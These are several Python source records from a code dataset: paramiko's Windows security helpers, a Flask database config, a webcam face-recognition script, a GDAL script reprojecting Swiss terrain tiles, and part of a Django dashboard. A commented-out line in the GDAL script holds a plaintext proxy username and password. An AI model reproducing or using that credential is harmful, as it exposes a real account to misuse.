ctypes.windll.kernel32.MapViewOfFile\nMapViewOfFile.restype = ctypes.wintypes.HANDLE\n\nclass MemoryMap(object):\n    \"\"\"\n    A memory map object which can have security attributes overridden.\n    \"\"\"\n    def __init__(self, name, length, security_attributes=None):\n        self.name = name\n        self.length = length\n        self.security_attributes = security_attributes\n        self.pos = 0\n\n    def __enter__(self):\n        p_SA = (\n            ctypes.byref(self.security_attributes)\n            if self.security_attributes else None\n        )\n        INVALID_HANDLE_VALUE = -1\n        PAGE_READWRITE = 0x4\n        FILE_MAP_WRITE = 0x2\n        filemap = ctypes.windll.kernel32.CreateFileMappingW(\n            INVALID_HANDLE_VALUE, p_SA, PAGE_READWRITE, 0, self.length,\n            u(self.name))\n        handle_nonzero_success(filemap)\n        if filemap == INVALID_HANDLE_VALUE:\n            raise Exception(\"Failed to create file mapping\")\n        self.filemap = filemap\n        self.view = MapViewOfFile(filemap, FILE_MAP_WRITE, 0, 0, 0)\n        return self\n\n    def seek(self, pos):\n        self.pos = pos\n\n    def write(self, msg):\n        n = len(msg)\n        if self.pos + n >= self.length:  # A little safety.\n            raise ValueError(\"Refusing to write %d bytes\" % n)\n        ctypes.windll.kernel32.RtlMoveMemory(self.view + self.pos, msg, n)\n        self.pos += n\n\n    def read(self, n):\n        \"\"\"\n        Read n bytes from mapped view.\n        \"\"\"\n        out = ctypes.create_string_buffer(n)\n        ctypes.windll.kernel32.RtlMoveMemory(out, self.view + self.pos, n)\n        self.pos += n\n        return out.raw\n\n    def __exit__(self, exc_type, exc_val, tb):\n        ctypes.windll.kernel32.UnmapViewOfFile(self.view)\n        ctypes.windll.kernel32.CloseHandle(self.filemap)\n\n#########################\n# jaraco.windows.security\n\nclass TokenInformationClass:\n    TokenUser = 1\n\nclass TOKEN_USER(ctypes.Structure):\n    num = 1\n    _fields_ = [\n        ('SID', ctypes.c_void_p),\n        ('ATTRIBUTES', ctypes.wintypes.DWORD),\n    ]\n\n\nclass SECURITY_DESCRIPTOR(ctypes.Structure):\n    \"\"\"\n    typedef struct _SECURITY_DESCRIPTOR\n        {\n        UCHAR Revision;\n        UCHAR Sbz1;\n        SECURITY_DESCRIPTOR_CONTROL Control;\n        PSID Owner;\n        PSID Group;\n        PACL Sacl;\n        PACL Dacl;\n        }   SECURITY_DESCRIPTOR;\n    \"\"\"\n    SECURITY_DESCRIPTOR_CONTROL = USHORT\n    REVISION = 1\n\n    _fields_ = [\n        ('Revision', ctypes.c_ubyte),\n        ('Sbz1', ctypes.c_ubyte),\n        ('Control', SECURITY_DESCRIPTOR_CONTROL),\n        ('Owner', ctypes.c_void_p),\n        ('Group', ctypes.c_void_p),\n        ('Sacl', ctypes.c_void_p),\n        ('Dacl', ctypes.c_void_p),\n    ]\n\nclass SECURITY_ATTRIBUTES(ctypes.Structure):\n    \"\"\"\n    typedef struct _SECURITY_ATTRIBUTES {\n        DWORD  nLength;\n        LPVOID lpSecurityDescriptor;\n        BOOL   bInheritHandle;\n    } SECURITY_ATTRIBUTES;\n    \"\"\"\n    _fields_ = [\n        ('nLength', ctypes.wintypes.DWORD),\n        ('lpSecurityDescriptor', ctypes.c_void_p),\n        ('bInheritHandle', ctypes.wintypes.BOOL),\n    ]\n\n    def __init__(self, *args, **kwargs):\n        super(SECURITY_ATTRIBUTES, self).__init__(*args, **kwargs)\n        self.nLength = ctypes.sizeof(SECURITY_ATTRIBUTES)\n\n    @property\n    def descriptor(self):\n        return self._descriptor\n\n    @descriptor.setter\n    def descriptor(self, value):\n        self._descriptor = descriptor\n        self.lpSecurityDescriptor = ctypes.addressof(descriptor)\n\ndef GetTokenInformation(token, information_class):\n    \"\"\"\n    Given a token, get the token information for it.\n    \"\"\"\n    data_size = ctypes.wintypes.DWORD()\n    ctypes.windll.advapi32.GetTokenInformation(token, information_class.num,\n        0, 0, ctypes.byref(data_size))\n    data = ctypes.create_string_buffer(data_size.value)\n    handle_nonzero_success(ctypes.windll.advapi32.GetTokenInformation(token,\n        information_class.num,\n        ctypes.byref(data), ctypes.sizeof(data),\n        ctypes.byref(data_size)))\n    return ctypes.cast(data, ctypes.POINTER(TOKEN_USER)).contents\n\nclass TokenAccess:\n    TOKEN_QUERY = 0x8\n\ndef OpenProcessToken(proc_handle, access):\n    result = ctypes.wintypes.HANDLE()\n    proc_handle = ctypes.wintypes.HANDLE(proc_handle)\n    handle_nonzero_success(ctypes.windll.advapi32.OpenProcessToken(\n        proc_handle, access, ctypes.byref(result)))\n    return result\n\ndef get_current_user():\n    \"\"\"\n    Return a TOKEN_USER for the owner of this process.\n    \"\"\"\n    process = OpenProcessToken(\n        ctypes.windll.kernel32.GetCurrentProcess(),\n        TokenAccess.TOKEN_QUERY,\n    )\n    return GetTokenInformation(process, TOKEN_USER)\n\ndef get_security_attributes_for_user(user=None):\n    \"\"\"\n    Return a SECURITY_ATTRIBUTES structure with the SID set to the\n    specified user (uses current user if none is specified).\n    \"\"\"\n    if user is None:\n        user = get_current_user()\n\n    assert isinstance(user, TOKEN_USER), \"user must be TOKEN_USER instance\"\n\n    SD = SECURITY_DESCRIPTOR()\n    SA = SECURITY_ATTRIBUTES()\n    # by attaching the actual security descriptor, it will be garbage-\n    # collected with the security attributes\n    SA.descriptor = SD\n    SA.bInheritHandle = 1\n\n    ctypes.windll.advapi32.InitializeSecurityDescriptor(ctypes.byref(SD),\n        SECURITY_DESCRIPTOR.REVISION)\n    ctypes.windll.advapi32.SetSecurityDescriptorOwner(ctypes.byref(SD),\n        user.SID, 0)\n    return SA\n","sub_path":"libs/paramiko/_winapi.py","file_name":"_winapi.py","file_ext":"py","file_size_in_byte":8251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"25711447","text":"# using sqlite which stores database in a single file\n\nimport os\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nSQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db_file.db')\t\t# path of db file\nSQLALCHEMY_MIGRATE_REPO = os.path.join(basedir, 'db_repository')\t\t\t\t\t# store the SQLAlchemy-migrate data files\n\n\n# db_create calls this file which imports SQLALCHEMY_DATABASE_URI, SQLALCHEMY_MIGRATE_REPO and creates a database file called db_file.db\n# and database repository for updating the database in db_repository","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"622265633","text":"import cv2\nimport numpy as np\nfrom joblib import load\nfrom sklearn.svm import SVC\n# from playsound import playsound\n\nHAAR_MODEL = 'C:\\\\Users\\\\thara\\\\Desktop\\\\FaceReconition\\\\model-haar\\\\haarcascade_frontalface_default.xml'\nSVM_MODEL = 'C:\\\\Users\\\\thara\\\\Desktop\\\\FaceReconition\\\\model-svm\\\\faces.lib'\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\ncolor_deful = (255,100,0)\ncolor_unknown = (0,0,255)\nthreshold = 0.8\n\ndetector = cv2.CascadeClassifier(HAAR_MODEL)\nclassifier = load(SVM_MODEL)\n\ncapture = cv2.VideoCapture(0)\nwhile True:\n    if capture is None:\n        break\n    ret, frame = capture.read()\n    image = frame.copy()\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    faces = detector.detectMultiScale(gray, 1.3, 5)         \n\n    for (x, y, w, h) in faces:\n        testset = []\n        face = gray[y:y+h, x:x+w]\n        face_resized = cv2.resize(face,(64,64),interpolation=cv2.INTER_LINEAR)\n        testset.append(np.ravel(face_resized))\n\n        pred = str(classifier.predict(testset))\n        # compair matrx รูปภาพกับโมเดล\n        prob = classifier.predict_proba(testset)        \n        # predict matrix\n        \n        print(prob[0]);\n        print(max(prob[0]));\n        max_prob = max(prob[0])\n        \n        if max_prob >= threshold:\n            text = ''.join(pred + ' (' + '{0:.2g}'.format(max_prob * 100) + '%)')\n            color = color_deful\n            if pred.find('deful') != -1:\n                color = color_deful        \n            cv2.putText(image, text, (x,y-10), font, 0.6, color, thickness=2)\n        else:\n            color = color_unknown\n            #playsound('D:\\FaceReconition\\Sound\\digital.mp3')\n            \n        cv2.rectangle(image, (x,y), (x+w,y+h), color, 2)\n    cv2.imshow('face classifier', image)\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\ncapture.release()\ncv2.destroyAllWindows()\n\n ","sub_path":"face-recogniser-video.py","file_name":"face-recogniser-video.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"379447305","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#Check with lv03-Tile (test overlapping )\n\nfrom osgeo import gdal\nfrom osgeo import ogr, osr\nimport os\n#import urllib2\nimport json\nimport subprocess\nimport logging\nimport requests\n\n\n#year = \"1993\"\ngsd = \"2.00\"\naufloesung=\"200_cm\"\ncolorisation = \"gray\"\ntheme = \"dtm\"\n\n##Settings for RestService\n#proxy = urllib2.ProxyHandler({'http': 'http://barpastu:qwertz123$@proxy2.so.ch:8080'})\n#auth = urllib2.HTTPBasicAuthHandler()\n#opener = urllib2.build_opener(proxy, auth, urllib2.HTTPHandler)\n#urllib2.install_opener(opener)\n\n#Logger for warnings and errors\nlogger_error = logging.getLogger('brw_error')\nhandler_error = logging.FileHandler('log_brw_error_dom.log')\nformatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\nhandler_error.setFormatter(formatter)\nlogger_error.addHandler(handler_error) \nlogger_error.setLevel(logging.WARNING)\n\n#Logger for notices\nlogger_notice = logging.getLogger('brw')\nhandler_notice = logging.FileHandler('log_brw_dom.log')\nhandler_notice.setFormatter(formatter)\nlogger_notice.addHandler(handler_notice) \nlogger_notice.setLevel(logging.INFO)\n\n\n\n\n#Start calculations\nlogger_notice.info(\"Start \" + theme + \" Gradientenbild\")\n\n\n#Settings for resampling-methode and vrt-path\nmethod = 'lanczos'\npath_old_location = \"/home/barpastu/Geodaten/LV03/\" + theme + \"/gradientenbilder\"\npath_new_location=\"/home/barpastu/Geodaten/LV95/\" + theme + \"/gradientenbilder\"\npath_lv03 = path_old_location\npath_lv95 = path_new_location + \"/\"+ colorisation + \"/\" + aufloesung \northofilename = theme + \"_gradientenbild\"\nvrt = path_lv03 + \"/\" + orthofilename+\".vrt\"\nvrt_95 = path_lv95 + \"/ohne_overviews/\" +orthofilename+\".vrt\"\nheight_extract = 500\nvrt_exists = False\n\n\n#Create Folders\nif not os.path.exists(path_lv95):\n    os.makedirs(path_lv95)\nif not os.path.exists(path_lv95 + \"/difference\"):\n    os.makedirs(path_lv95 + \"/difference\")\nif not os.path.exists(path_lv95 + \"/ohne_overviews\"):\n    os.makedirs(path_lv95 + \"/ohne_overviews\")\n\n\n\n#Copy files to new folder (original-data)\nif not os.path.exists(path_lv03 + \"/working/\"):\n    os.makedirs(path_lv03 + \"/working/\")\n    for i in os.listdir(path_old_location + \"/\"):\n        if i.endswith(\".tif\"):\n            cmd = \"gdal_translate -of GTiff -co 'TILED=YES' -a_srs EPSG:21781 \" +path_old_location + \"/\"\n            #cmd = \"gdal_translate -of GTiff -co 'TILED=YES' -a_srs EPSG:21781 -expand gray \" +path_old_location + \"/\"\n            cmd += i + \" \" + path_lv03 + \"/working/\" + os.path.basename(i)\n            os.system(cmd)\n        \n\n\n#Remove overviews\nfor i in os.listdir(path_lv03 + \"/working/\"):\n    cmd = \"gdaladdo -clean \" + path_lv03+ \"/working/\" + os.path.basename(i)\n    os.system(cmd)\n\n\n\n#Definition of spatial reference systems\nS_SRS = \"+proj=somerc +lat_0=46.952405555555555N +lon_0=7.439583333333333E +ellps=bessel +x_0=600000 +y_0=200000 +towgs84=674.374,15.056,405.346 +units=m +units=m +k_0=1 +nadgrids=./chenyx06a.gsb\"\nT_SRS = \"+proj=somerc +lat_0=46.952405555555555N +lon_0=7.439583333333333E +ellps=bessel +x_0=2600000 +y_0=1200000 +towgs84=674.374,15.056,405.346 +units=m +k_0=1 +nadgrids=@null\"\n\nogr.UseExceptions() \n\n\n#Create Tileindex\ncmd = \"gdaltindex -write_absolute_path \" + path_lv03 + \"/\" + orthofilename + \".shp \" \ncmd += path_lv03 + \"/working/*.tif\"\nos.system(cmd)\n\n\n#Create vrt \n#add alphaband for extracting nodata-values\ncmd = \"gdalbuildvrt -vrtnodata \\\"255 255 255\\\" -addalpha \" + path_lv03 + \"/\" + orthofilename + \"_alpha.vrt \" + path_lv03 + \"/working/*.tif\"\nos.system(cmd)\n\n#set color of nodata-values from black to white\ncmd =\"gdalwarp -co ALPHA=YES \"\ncmd += \"-wo NUM_THREADS=ALL_CPUS -co PHOTOMETRIC=MINISBLACK -co TILED=YES \"\ncmd += \"-co PROFILE=GeoTIFF -co INTERLEAVE=PIXEL -co COMPRESS=DEFLATE \"  \ncmd += \"-co PREDICTOR=2\" \ncmd += \" -r \" + method + \" \" + path_lv03 + \"/\" + orthofilename + \"_alpha.vrt \" + path_lv03 + \"/\" + orthofilename + \"_white.tif \"\nos.system(cmd)\n\n#extract grey-band\ncmd =\"gdal_translate -b 1 \" + path_lv03 + \"/\" + orthofilename + \"_white.tif \" + path_lv03 + \"/\" + orthofilename + \".vrt \"\nos.system(cmd)\n\n\n#Shape-File with tile division\nshp = ogr.Open(path_lv03 + \"/\" + orthofilename + \".shp\")\nlayer = shp.GetLayer(0)\n\n\n\n# Do for each tile\nfor feature in layer:\n    infileName = feature.GetField('location')\n    #print infileName\n    geom = feature.GetGeometryRef()\n    env = geom.GetEnvelope()\n\n    minX = int(env[0] + 0.001 + 2000000)\n    minY = int(env[2] + 0.001 + 1000000)\n    maxX = int(env[1] + 0.001 + 2000000)\n    maxY = int(env[3] + 0.001 + 1000000)\n\n    middleX = (int(env[0] + 0.001)+int(env[1] + 0.001 ))/2\n    middleY = (int(env[2] + 0.001)+int(env[3] + 0.001 ))/2\n\n    minX_buffer = int(env[0] + 0.001-2)\n    minY_buffer = int(env[2] + 0.001-2)\n    maxX_buffer = int(env[1] + 0.001+2)\n    maxY_buffer = int(env[3] + 0.001+2)\n    \n    infileNameFile_jpeg = os.path.basename(infileName)  \n    outfileName_jpeg = os.path.basename(infileName)\n\n\n\n    # Transformieren \n    cmd = \"gdalwarp -s_srs \\\"\" + S_SRS + \"\\\" -t_srs \\\"\" + T_SRS + \"\\\" -te \"  + str(minX) + \" \"  \n    cmd += str(minY) + \" \" +  str(maxX) + \" \" +  str(maxY) + \" -tr \" + gsd + \" \" + gsd + \" \"\n    cmd += \"-wo NUM_THREADS=ALL_CPUS -co PHOTOMETRIC=MINISBLACK -co TILED=YES \"\n    cmd += \"-co PROFILE=GeoTIFF -co INTERLEAVE=PIXEL -co COMPRESS=DEFLATE \"  \n    cmd += \"-co PREDICTOR=2\" \n    cmd += \" -r \" + method + \" \" + vrt + \" \" + path_lv95 + \"/\" + outfileName_jpeg\n    os.system(cmd)\n    print(cmd)\n    #print(os.path.getsize(path_lv95 + \"/\" + outfileName_jpeg))\n\n\n\n    cmd = \"gdal_edit.py -a_srs EPSG:2056 \" + path_lv95 + \"/\" +outfileName_jpeg\n    os.system(cmd)\n    #print(os.path.getsize(path_lv95 + \"/\" + outfileName_jpeg))\n\n\n    logger_notice.info(path_lv95 + \"/\" + outfileName_jpeg + \" transformiert und zugeschnitten\") \n\n\n    cmd = \"gdal_translate -co TILED=YES \"\n    cmd += \"-co PROFILE=GeoTIFF -co INTERLEAVE=PIXEL -co COMPRESS=DEFLATE \"  \n    cmd += \"-co PREDICTOR=2\"\n    #os.system(cmd)\n\n    # Files in anderen Ordner kopieren\n    cmd =\"cp \" + path_lv95 + \"/\" +outfileName_jpeg + \" \" + path_lv95 + \"/ohne_overviews/\"\n    os.system(cmd)\n    #print(\"Files kopieren\")\n    #print(os.path.getsize(path_lv95 + \"/ohne_overviews/\" + outfileName_jpeg))\n\n\n\n\n\nif vrt_exists is False:\n    #print(\"vrt erstellen\")\n    #Create vrt\n    cmd = \"gdalbuildvrt \" +vrt_95 + \" \" + path_lv95 + \"/ohne_overviews/*.tif\"\n    os.system(cmd)\n    #print (\"vrt erstellt\")\n\n\n#Shape-File with tile division\nshp = ogr.Open(path_lv03 + \"/\" + orthofilename + \".shp\")\nlayer = shp.GetLayer(0)\n\n# Do for each tile\nfor feature in layer:\n    infileName = feature.GetField('location')\n    #print infileName\n    geom = feature.GetGeometryRef()\n    env = geom.GetEnvelope()\n\n    minX = int(env[0] + 0.001)\n    minY = int(env[2] + 0.001)\n    maxX = int(env[1] + 0.001)\n    maxY = int(env[3] + 0.001)\n\n    middleX = (int(env[0] + 0.001)+int(env[1] + 0.001 ))/2\n    middleY = (int(env[2] + 0.001)+int(env[3] + 0.001 ))/2\n    \n    infileNameFile_jpeg = os.path.basename(infileName)  \n    outfileName_jpeg = os.path.basename(infileName)\n    \n    #Create URL for RestService \n    #Lower left Corner\n    url_ll = \"http://geodesy.geo.admin.ch/reframe/lv03tolv95?easting=\"\n    url_ll += str(minX) + \"&northing=\" + str(minY) \n    url_ll += \"&format=json\"\n    response_ll = requests.get(url_ll)\n    data_ll = response_ll.json()\n    #response_ll = urllib2.urlopen(url_ll)\n    #data_ll = json.load(response_ll)\n    xmin_st = data_ll.values()[0]\n    ymin_st = data_ll.values()[1]\n    \n    #Upper right Corner\n    url_ur = \"http://geodesy.geo.admin.ch/reframe/lv03tolv95?easting=\" \n    url_ur += str(maxX) + \"&northing=\" + str(maxY)\n    url_ur +=\"&format=json\"\n    response_ur = requests.get(url_ur)\n    data_ur = response_ur.json()\n    #response_ur = urllib2.urlopen(url_ur)\n    #data_ur = json.load(response_ur)\n    xmax_st = data_ur.values()[0]\n    ymax_st = data_ur.values()[1]\n\n    #Ausschnitt generieren LV95\n    cmd = \"gdalwarp -co PHOTOMETRIC=MINISBLACK -co PROFILE=GeoTIFF -tr \" + gsd + \" \" + gsd + \" -te \"\n    cmd += str(round(float(xmin_st),2)) + \" \" + str(round(float(ymin_st),2)) + \" \" \n    cmd += str(round(float(xmax_st),2)) + \" \" + str(round(float(ymax_st),2)) \n    cmd += \" -co TILED=YES -r \" + method + \" \" \n    #cmd += os.path.join(path_lv95, \"ohne_overviews\", outfileName_jpeg) + \" \"\n    cmd += vrt_95 + \" \"     \n    cmd += os.path.join(path_lv95, \"ohne_overviews\", \"ausschnitt_\"+outfileName_jpeg)\n    os.system(cmd)\n    print (cmd)\n\n    #print (cmd + \" erledigt\") \n    #Ausschnitt generieren LV03\n    cmd = \" gdalwarp -co PHOTOMETRIC=MINISBLACK -co TILED=YES -co PROFILE=GeoTIFF -tr \" + gsd + \" \" + gsd\n    cmd += \" -te \" + str(minX) + \" \" + str(minY) + \" \" \n    cmd += str(maxX) + \" \" + str(maxY) + \" \"\n    cmd +=os.path.join(path_lv03,\"working\", infileNameFile_jpeg) + \" \" \n    cmd +=os.path.join(path_lv03, \"working\", \"ausschnitt_\"+infileNameFile_jpeg)\n    os.system(cmd)\n    #print (\"********\"+cmd)\n    print(\"lv03\")\n\n    #if ausschnitt differe in size\n    cmd = \"identify -format \\\"%[fx:w]\\\" \"\n    cmd += os.path.join(path_lv95, \"ohne_overviews\", \"ausschnitt_\"+outfileName_jpeg)\n    cmd = cmd.split(\" \")\n    width_lv95=subprocess.check_output(cmd)\n    width_lv95=width_lv95.replace('\\n','')\n    width_lv95=width_lv95.replace('\\\"','')\n\n    cmd = \"identify -format \\\"%[fx:h]\\\" \"\n    cmd += os.path.join(path_lv95, \"ohne_overviews\", \"ausschnitt_\"+outfileName_jpeg)\n    cmd = cmd.split(\" \")\n    height_lv95=subprocess.check_output(cmd)\n    height_lv95=height_lv95.replace('\\n','')\n    height_lv95=height_lv95.replace('\\\"','')\n\n    cmd = \"identify -format \\\"%[fx:w]\\\" \"\n    cmd += os.path.join(path_lv03, \"working\", \"ausschnitt_\"+infileNameFile_jpeg)\n    cmd = cmd.split(\" \")\n    width_lv03=subprocess.check_output(cmd)\n    width_lv03=width_lv03.replace('\\n','')\n    width_lv03=width_lv03.replace('\\\"','')\n\n    cmd = \"identify -format \\\"%[fx:h]\\\" \"\n    cmd += os.path.join(path_lv03, \"working\", \"ausschnitt_\"+infileNameFile_jpeg)\n    cmd = cmd.split(\" \")\n    height_lv03=subprocess.check_output(cmd)\n    height_lv03=height_lv03.replace('\\n','')\n    height_lv03=height_lv03.replace('\\\"','')\n\n    if int(width_lv95)!=int(width_lv03) or int(height_lv95)!=int(height_lv03) :\n        different_image_size = True\n    else :\n        different_image_size = False\n    print (\"***************************\" + str(different_image_size) + \"***************************\")\n\n\n\n    cmd = \"cp \" + os.path.join(path_lv03, \"working\", \"ausschnitt_\"+infileNameFile_jpeg) + \" \"\n    cmd += path_lv03 +\"/\"\n    os.system(cmd)\n    cmd = \"cp \" + os.path.join(path_lv03,\"working\", infileNameFile_jpeg) + \" \"\n    cmd += path_lv03 + \"/\"\n    os.system(cmd)\n    cmd = \"cp \" + os.path.join(path_lv95, \"ohne_overviews\", outfileName_jpeg) + \" \"\n    cmd += path_lv95 + \"/\"\n    os.system(cmd)\n    cmd = \"cp \" + os.path.join(path_lv95, \"ohne_overviews\", \"ausschnitt_\"+outfileName_jpeg) \n    cmd += \" \" + path_lv95 + \"/\"\n    os.system(cmd)\n\n\n\n    # generate Overviews \n    cmd = \"gdaladdo -r nearest --config COMPRESS_OVERVIEW DEFLATE --config PHOTOMETRIC_OVERVIEW MINISBLACK --config GDAL_TIFF_OVR_BLOCKSIZE 512 \" + path_lv95 + \"/\" + outfileName_jpeg + \" 2 4 8 16 32 64 128\"\n    os.system(cmd) \n    #print(\"overviews generieren\")\n    #print(os.path.getsize(path_lv95 + \"/\" + outfileName_jpeg))\n\n\n    if different_image_size is False:\n\n        #Compare without tolerance\n        cmd = \"compare \"\n        cmd += os.path.join(path_lv03, \"ausschnitt_\"+infileNameFile_jpeg) + \" \"\n        cmd += os.path.join(path_lv95, \"ausschnitt_\"+outfileName_jpeg)+ \" \"\n        cmd += \"-compose src \" +os.path.join(path_lv95,\"difference\",outfileName_jpeg)\n        os.system(cmd)\n        print (\"compare 1\")\n        print (cmd)\n\n        #Compare with a tolerance of 10%\n        cmd = \"compare -fuzz 10% \"\n        cmd +=os.path.join(path_lv03, \"ausschnitt_\"+infileNameFile_jpeg) + \" \"\n        cmd += os.path.join(path_lv95, \"ausschnitt_\"+outfileName_jpeg)+ \" \"\n        cmd += \"-compose src \" +os.path.join(path_lv95,\"difference\",\"fuzz_10_\"+outfileName_jpeg)\n        os.system(cmd)\n        print (\"compare 2\")\n\n        #Calculate false pixels on base of the comparison without tolerance\n        cmd = \"convert \"+os.path.join(path_lv95,\"difference\",outfileName_jpeg)\n        cmd += \" -fill black +opaque srgba(241,0,30,0.8) -fill white -opaque srgba(241,0,30,0.8)\"\n        cmd += \" -format \\\"%[fx:mean*100]\\\" info:\"\n        cmd = cmd.split(\" \")\n        false_pixel_percent=subprocess.check_output(cmd)\n        false_pixel_percent=false_pixel_percent.replace('\\n','')\n        false_pixel_percent_orig=false_pixel_percent.replace('\\\"','')\n        print ( \"false pixels : \" + false_pixel_percent)\n\n        #Error-Message if percentage of comparison without tolerance is 0%\n        if float(false_pixel_percent_orig) == 0 :\n            logger_error.error(os.path.join(path_lv95,\"difference\",outfileName_jpeg)+\" weist einen Anteil von 0% falscher Pixelwerte im 0-Toleranz-Bild auf.\" )\n            cmd = \"cp \" + os.path.join(path_lv95, \"ohne_overviews\", \"ausschnitt_\"+outfileName_jpeg)\n            cmd += \" \" + os.path.join(path_lv95,\"difference\")\n            os.system(cmd)\n\n        #Calculate false pixels on base of the comparison with a tolerance of 10%\n        cmd = \"convert \"+os.path.join(path_lv95,\"difference\",\"fuzz_10_\"+outfileName_jpeg)\n        cmd += \" -fill black +opaque srgba(241,0,30,0.8) -fill white -opaque srgba(241,0,30,0.8)\"\n        cmd += \" -format \\\"%[fx:mean*100]\\\" info:\"\n        cmd = cmd.split(\" \")\n        false_pixel_percent=subprocess.check_output(cmd)\n        false_pixel_percent=false_pixel_percent.replace('\\n','')\n        false_pixel_percent=false_pixel_percent.replace('\\\"','')\n        logger_notice.info(\"Anteil falscher Pixelwerte: \" +false_pixel_percent )\n        print ( \"false pixels tolerance: \" + false_pixel_percent)\n\n        #Error-Message if percentage of comparison with tolerance is higher than 1%\n        if float(false_pixel_percent)>=1 :\n             logger_error.error(os.path.join(path_lv95,\"difference\",\"fuzz_10_\"+outfileName_jpeg)+\" weist einen Anteil von mehr als 1% falscher Pixelwerte auf. Folgender Anteil: \"+false_pixel_percent)\n             cmd = \"cp \" + os.path.join(path_lv95, \"ohne_overviews\", \"ausschnitt_\"+outfileName_jpeg)\n             cmd += \" \" + os.path.join(path_lv95,\"difference\")\n             os.system(cmd)\n\n        #remove comparison-images if percentage of comparison without tolerance is higher than 0 %\n        # and percentage of comparison with tolerance is lower than 1%\n        if float(false_pixel_percent_orig) > 0 and float(false_pixel_percent)<1 :\n            cmd = \"rm \" + os.path.join(path_lv03, \"ausschnitt_\"+infileNameFile_jpeg)\n            os.system(cmd)\n            cmd = \"rm \" + os.path.join(path_lv95, \"ausschnitt_\"+outfileName_jpeg)\n            os.system(cmd)\n            cmd = \"rm \" + os.path.join(path_lv95,\"difference\",outfileName_jpeg)\n            os.system(cmd)\n            cmd = \"rm \" + os.path.join(path_lv95,\"difference\",\"fuzz_10_\"+outfileName_jpeg)\n            os.system(cmd)\n    else :\n        cmd = \"cp \" + os.path.join(path_lv95, \"ohne_overviews\", \"ausschnitt_\"+outfileName_jpeg)\n        cmd += \" \" + os.path.join(path_lv95,\"difference\")\n        os.system(cmd)\n        logger_error.error(os.path.join(path_lv95,outfileName_jpeg)+\" kann nicht verglichen werden, da unterschiedliche Bildgroessen\")\n\n\ncmd = \"rm -r \" + os.path.join(path_lv95, \"ohne_overviews\")\n#os.system(cmd)\ncmd = \"rm -r \" + os.path.join(path_lv03, \"working\")\n#os.system(cmd)\n#cmd = \"rm \" + path_lv03 + \"/\" + orthofilename + \".shp \" \ncmd += path_lv03 + \"/\" + orthofilename + \".vrt \" + path_lv03 + \"/\" + orthofilename + \".shx \" \ncmd += path_lv03 + \"/\" + orthofilename + \".prj \" + path_lv03 + \"/\" + orthofilename + \".dbf \"\n#os.system(cmd)\n\nlogger_notice.info(\"Ende\")\n\n","sub_path":"brw_dom_gradientenbild.py","file_name":"brw_dom_gradientenbild.py","file_ext":"py","file_size_in_byte":15790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"630623535","text":"#!/usr/bin/env python\r\n# encoding: utf-8\r\n'''\r\n@author: YanYeek\r\n@file: dashboard.py\r\n@time: 2020/9/16 17:17\r\n@desc:\r\n'''\r\nimport time\r\nimport collections\r\nimport datetime\r\nfrom django.http import JsonResponse\r\nfrom django.shortcuts import render\r\nfrom django.db.models import Count\r\nfrom django.db.models import Count\r\n\r\nfrom web import models\r\n\r\n\r\ndef dashboard(request, project_id):\r\n\t\"\"\" 概览 \"\"\"\r\n\r\n\t# 问题数据处理\r\n\tstatus_dict = collections.OrderedDict()  # python3.6前默认字典无序\r\n\tfor key, text in models.Issues.status_choices:\r\n\t\tstatus_dict[key] = {'text': text, 'count': 0}\r\n\tissues_data = models.Issues.objects.filter(project_id=project_id).values('status').annotate(ct=Count('id'))\r\n\tfor item in issues_data:\r\n\t\tstatus_dict[item['status']]['count'] = item['ct']\r\n\r\n\t# 项目成员\r\n\tuser_list = models.ProjectUser.objects.filter(project_id=project_id).values('user_id', 'user__username')\r\n\r\n\t# 获取最近的10个任务\r\n\ttop_ten = models.Issues.objects.filter(project_id=project_id, assign__isnull=False).order_by('-id')[0:10]\r\n\tcontext = {\r\n\t\t'status_dict': status_dict,\r\n\t\t'user_list': user_list,\r\n\t\t'top_ten_object': top_ten,\r\n\t}\r\n\treturn render(request, 'dashboard.html', context)\r\n\r\n\r\ndef issues_chart(request, project_id):\r\n\t\"\"\" 在概览页面生成highcharts所需要的数据 \"\"\"\r\n\ttoday = datetime.datetime.now().date()\r\n\tdata_dict = collections.OrderedDict()\r\n\tfor i in range(0, 30):\r\n\t\tdate = today - datetime.timedelta(days=i)\r\n\t\tdata_dict[date.strftime(\"%Y-%m-%d\")] = [time.mktime(date.timetuple()) * 1000, 0]\r\n\t\"\"\" 生成一个30天每天0问题的初始化字典\r\n\t\t{\r\n\t\t\t2020-03-31:[1600321987009,0],\r\n\t\t\t2020-03-31:[1600321987009,0],\r\n\t\t\t2020-03-31:[1600321987009,0],\r\n\t\t\t2020-03-31:[1600321987009,0],\r\n\t\t}\r\n\t\"\"\"\r\n\t# 最近30天每天创建的问题数量\r\n\t# 去数据库查询最近30天所有数据 & 根据日期每天分组\r\n\t\"\"\"\r\n\tselect id,name,email form table\r\n\tselect id,name,strftime(\"%Y-%m-%d\",create_datetime) as ctime form table\r\n\t额外生成一个ctime字段 strftime此为sqlite3时间格式化函数 mysql为 \"DATE_FORMAT(web_issues.create_datetime,'%%Y-%%m-%%d')\"\r\n\t\"\"\"\r\n\tresult = models.Issues.objects.filter(project_id=project_id,\r\n\t                                      create_datetime__gte=today - datetime.timedelta(days=30)).extra(\r\n\t\tselect={'ctime': \"strftime('%%Y-%%m-%%d',web_issues.create_datetime)\"}\r\n\t).values('ctime').annotate(ct=Count('id'))\r\n\r\n\t# 查询出的数据结构 <QuerySet [{'ctime': '2020-09-15', 'ct': 4}, {'ctime': '2020-09-17', 'ct': 2}]>\r\n\tfor item in result:\r\n\t\tdata_dict[item['ctime']][1] = item['ct']\r\n\r\n\t# 返回的30天的数据 data_list = [[1600321987009, 9],[1600321987009, 9],]\r\n\treturn JsonResponse({'status': True, 'data': 